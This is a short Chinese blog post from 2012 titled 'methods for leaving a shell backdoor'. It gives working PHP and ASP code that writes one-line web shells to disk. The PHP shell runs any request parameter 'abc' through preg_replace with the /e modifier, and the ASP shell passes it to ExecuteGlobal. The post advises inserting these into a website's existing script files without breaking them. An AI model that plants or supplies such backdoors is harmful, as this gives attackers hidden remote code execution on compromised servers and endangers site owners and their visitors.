留shell后门方法

php:
$dir = 'aaa/';
   
    createDir($dir);

    $fp = fopen($dir.'xxxx.php', "w");
    fputs($fp, '<?php echo "error";preg_replace("/test/e",$_REQUEST[\'abc\'],"jutst test")?>');
    fclose($fp);
   
    function createDir($path)
   {
    if (!file_exists($path))
       {
        createDir(dirname($path));
        mkdir($path, 0777);
       }
     }

asp:
<%   
    set xmldoc = Server.CreateObject("Msxml2.DOMDocument.3.0")   
    xmldoc.loadXml("<p></p>")   
    xmldoc.documentElement.appendChild xmldoc.createComment("<"+"% If Request("abc")<>"" Then ExecuteGlobal(Request("abc")) %"+ ">")   
    xmldoc.save(server.mappath("a/a.asp"))   
    %>
直接插入到网站原来的一些脚本文件中,生成一个一句话,不过小心别插坏了。

posted on 2012-12-26 23:51  =_=!  阅读(440)  评论(0编辑  收藏  举报

导航